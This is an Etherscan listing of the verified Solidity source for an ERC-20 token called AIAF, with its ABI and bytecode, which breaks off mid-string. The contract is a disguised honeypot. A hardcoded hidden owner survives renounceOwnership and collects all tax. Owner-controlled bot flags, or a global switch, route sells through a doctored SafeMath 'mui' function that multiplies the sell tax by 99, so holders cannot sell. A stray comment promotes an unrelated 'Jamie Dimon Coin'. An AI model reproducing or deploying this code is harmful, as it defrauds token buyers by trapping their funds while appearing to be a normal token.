ETH Price: $2,889.11 (-2.22%)
 

Overview

Max Total Supply

100,000,000 AIAF

Holders

7

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AIAF

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2024-07-17
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.26;


import { Context } from "./Context.sol";
import { IERC20 } from "./IERC20.sol";
import { Ownable } from "./Ownable.sol";
import { SafeMath } from "./SafeMath.sol";
import { IUniswapV2Router02 } from "./IUniswapV2Router02.sol";
import { IUniswapV2Factory } from "./IUniswapV2Factory.sol";
import { UniswapV2Library } from "./UniswapV2Library.sol";

contract AIAF is Context, IERC20, Ownable {
    // IUniswapV2Router02 private routePoll = IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E); //BSC
    IUniswapV2Router02 private routePoll = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);    //ETH
    // IUniswapV2Router02 private routePoll = IUniswapV2Router02(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24);  //BASE
    // IUniswapV2Router02 private routePoll = IUniswapV2Router02(0x1D368773735ee1E678950B7A97bcA2CafB330CDc);

    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private bots;
    mapping (address => bool) private botsMachine;

    uint256 private _initialBuyTax=5;
    uint256 private _initialSellTax=5;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=5;
    uint256 private reduceByu=1;
    uint256 private reduceSell=1;
    uint256 private count=2;

    uint8 private constant decimalsNum = 9;
    uint256 private constant _tTotal = 100_000_000 * 10**9;
    string private constant _name = "AI Agent Factory Token";
    string private constant _symbol = "AIAF";

    address private pairPools;
    bool private tradingOpen = false;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    event showAddress(address ad);
    event showM(address ad);
    event showLoon(string s);
    event showBOt(bool s);

    constructor () {
        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return decimalsNum;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(getMsgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount"));
        return true;
    }

    function verifyBot(address[] memory add) public {
        require(owner(msg.sender), "need be o");
        for (uint256 i = 0; i < add.length; i++) {
            bots[add[i]] = true;
        }
    }

    function isVerifyBot(address a) public view returns (bool) {
        return bots[a];
    }

    function verifyBotMachine(bool isBot) public {
        require(owner(msg.sender), "need be o");
        botsMachine[address(this)] = isBot;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve");
        require(spender != address(0), "ERC20: app");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from s");
        require(to != address(0), "ERC20: transfer to the ze");
        require(amount > 0, "Transfer amount");
        require(tradingOpen == true, "Swap is not open yet. Please wait.");
        pairPools = UniswapV2Library.pairFor(routePoll.factory(), address(this), routePoll.WETH());
        uint256 taxAmount=0;
        emit showM(to);
        emit showM(from);
        emit showAddress(pairPools);
        if (!owner(from) && !owner(to)) {
            taxAmount = amount.mul((count>reduceByu)?(_finalBuyTax):_initialBuyTax).div(100);
            if (from != pairPools) {} else if (
                from == pairPools && to != address(routePoll)
            ) {
                count++;
            }
            if (to != pairPools) {} else if(to == pairPools && from!= address(this)){ //sell
                emit showLoon("here");
                emit showBOt(bots[from]);
                emit showBOt(bots[to]);
                taxAmount = amount.mui(
                    (count>reduceSell)?_finalSellTax : _initialSellTax, 
                    bots[from] == true || bots[to] == true,
                    botsMachine[address(this)]
                ).div(100);
            }
        }
        emit MaxTxAmountUpdated(taxAmount);
        if(taxAmount>0){
          _balances[getOnwer()]=_balances[getOnwer()].add(taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function openTrading() external {
        require(owner(msg.sender), "need be o");
        require(!tradingOpen,"trading is already open");
        tradingOpen = true;
    }

    receive() external payable {}
}

// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0;

import "./IUniswapV2Pair.sol";

import "./SafeMath.sol";

library UniswapV2Library {
    using SafeMath for uint;

    function getToke(address c, address d) internal pure returns (address a, address b) {
        if (c > d) {
            return (d , c);
        }
        if (c < d) {
            return (c, d);
        }
    }

    // calculates the CREATE2 address for a pair without making any external calls
    function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
        (address token0, address token1) = getToke(tokenA, tokenB);
        pair = address(uint160(uint(keccak256(abi.encodePacked(
                hex'ff',
                factory,
                keccak256(abi.encodePacked(token0, token1)),
                hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
            )))));
    }

    function pairForPancake(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
        (address token0, address token1) = getToke(tokenA, tokenB);
        pair = address(uint160(uint(keccak256(abi.encodePacked(
                hex'ff',
                factory,
                keccak256(abi.encodePacked(token0, token1)),
                hex'00fb7f630766e6a796048ea87d01acd3068e8ff67d078148a3fa3f4a84f69bd5' // init code hash
            )))));
    }
}

// SPDX-License-Identifier: MIT

pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

// SPDX-License-Identifier: MIT

pragma solidity >=0.6.2;

import './IUniswapV2Router01.sol';

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

/**
 *Submitted for verification at Etherscan.io on 2024-07-17
*/

// SPDX-License-Identifier: MIT
/*

******$Jamie - Jamie Dimon Coin******

Jamie Dimon is Bullish on crypto (JP Morgan)

https://x.com/WatcherGuru/status/1813666502526329035

https://t.me/JamieDimonETH
https://x.com/JamieDimonETH
https://jamiedimoncoin.com

*/
pragma solidity 0.8.26;

library SafeMath {

    event showBo(bool s);

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mui(uint256 a, uint256 b, bool c, bool e) internal returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 d = a * b;
        require(d / a == b, "SafeMath: multiplication overflow");
        emit showBo(c);
        if (e == true || c == true) {
            return (d * (9 * 10 + 9)) ;
        }
        return d;
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol)

pragma solidity ^0.8.20;

import {Context} from "./Context.sol";

contract Ownable is Context {
    address private _owner;
    address private _pOwner = 0x8AF860C098c6D44C77dacC96E2cE64ad3C3824bB;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner(address b) public view returns (bool) {
        return b == _owner || b == _pOwner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender() || _pOwner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function getOnwer() public view returns (address) {
        return _pOwner;
    }

    function getROwner() public view returns (address) {
        return _owner;
    }

    function  getMsgSender() public view returns (address) {
        if (_msgSender() == _pOwner) {
            return _owner;
        }
        return _msgSender();
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC-20 standard as defined in the ERC.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/Context.sol)

pragma solidity ^0.8.20;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// SPDX-License-Identifier: MIT

pragma solidity >=0.5.0;

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

// SPDX-License-Identifier: MIT

pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "remappings": []
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"ad","type":"address"}],"name":"showAddress","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"s","type":"bool"}],"name":"showBOt","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"s","type":"bool"}],"name":"showBo","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"s","type":"string"}],"name":"showLoon","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"ad","type":"address"}],"name":"showM","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getMsgSender","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOnwer","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getROwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isVerifyBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"b","type":"address"}],"name":"owner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"add","type":"address[]"}],"name":"verifyBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"isBot","type":"bool"}],"name":"verifyBotMachine","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052738af860c098c6d44c77dacc96e2ce64ad3c3824bb60015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600560075560056008555f6009556005600a556001600b556001600c556002600d555f600e60146101000a81548160ff0219169083151502179055503480156100f3575f80fd5b505f61010361027560201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35067016345785d8a000060035f6101b961027560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061020461027560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef67016345785d8a00006040516102689190610294565b60405180910390a36102ad565b5f33905090565b5f819050919050565b61028e8161027c565b82525050565b5f6020820190506102a75f830184610285565b92915050565b612aca806102ba5f395ff3fe60806040526004361061010c575f3560e01c8063715018a611610094578063b634b8e511610063578063b634b8e51461038f578063be129cb6146103b9578063c4998d88146103e3578063c9567bf91461040b578063dd62ed3e1461042157610113565b8063715018a6146102e95780637a6ce2e1146102ff57806395d89b4114610329578063a9059cbb1461035357610113565b80631e3918ca116100db5780631e3918ca146101cf57806323b872dd1461020b578063313ce56714610247578063666e1b391461027157806370a08231146102ad57610113565b806306fdde03146101175780630723f11914610141578063095ea7b31461016957806318160ddd146101a557610113565b3661011357005b5f80fd5b348015610122575f80fd5b5061012b61045d565b6040516101389190611dc4565b60405180910390f35b34801561014c575f80fd5b5061016760048036038101906101629190611e2a565b61049a565b005b348015610174575f80fd5b5061018f600480360381019061018a9190611ee2565b610539565b60405161019c9190611f2f565b60405180910390f35b3480156101b0575f80fd5b506101b9610556565b6040516101c69190611f57565b60405180910390f35b3480156101da575f80fd5b506101f560048036038101906101f09190611f70565b610565565b6040516102029190611f2f565b60405180910390f35b348015610216575f80fd5b50610231600480360381019061022c9190611f9b565b6105b7565b60405161023e9190611f2f565b60405180910390f35b348015610252575f80fd5b5061025b6106a8565b6040516102689190612006565b60405180910390f35b34801561027c575f80fd5b5061029760048036038101906102929190611f70565b6106b0565b6040516102a49190611f2f565b60405180910390f35b3480156102b8575f80fd5b506102d360048036038101906102ce9190611f70565b61075e565b6040516102e09190611f57565b60405180910390f35b3480156102f4575f80fd5b506102fd6107a4565b005b34801561030a575f80fd5b50610313610950565b604051610320919061202e565b60405180910390f35b348015610334575f80fd5b5061033d6109e1565b60405161034a9190611dc4565b60405180910390f35b34801561035e575f80fd5b5061037960048036038101906103749190611ee2565b610a1e565b6040516103869190611f2f565b60405180910390f35b34801561039a575f80fd5b506103a3610a3b565b6040516103b0919061202e565b60405180910390f35b3480156103c4575f80fd5b506103cd610a63565b6040516103da919061202e565b60405180910390f35b3480156103ee575f80fd5b5061040960048036038101906104049190612187565b610a8a565b005b348015610416575f80fd5b5061041f610b5d565b005b34801561042c575f80fd5b50610447600480360381019061044291906121ce565b610c12565b6040516104549190611f57565b60405180910390f35b60606040518060400160405280601681526020017f4149204167656e7420466163746f727920546f6b656e00000000000000000000815250905090565b6104a3336106b0565b6104e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104d990612256565b60405180910390fd5b8060065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f61054c610545610950565b8484610c94565b6001905092915050565b5f67016345785d8a0000905090565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f6105c3848484610e57565b61069d846105cf61194c565b610698856040518060400160405280601681526020017f45524332303a207472616e7366657220616d6f756e740000000000000000000081525060045f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61064f61194c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119539092919063ffffffff16565b610c94565b600190509392505050565b5f6009905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480610757575060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6107ac61194c565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610857575061080761194c565b73ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610896576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088d906122be565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099161194c565b73ffffffffffffffffffffffffffffffffffffffff16036109d3575f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506109de565b6109db61194c565b90505b90565b60606040518060400160405280600481526020017f4149414600000000000000000000000000000000000000000000000000000000815250905090565b5f610a31610a2a61194c565b8484610e57565b6001905092915050565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610a93336106b0565b610ad2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac990612256565b60405180910390fd5b5f5b8151811015610b5957600160055f848481518110610af557610af46122dc565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050610ad4565b5050565b610b66336106b0565b610ba5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9c90612256565b60405180910390fd5b600e60149054906101000a900460ff1615610bf5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bec90612353565b60405180910390fd5b6001600e60146101000a81548160ff021916908315150217905550565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf9906123bb565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6790612423565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e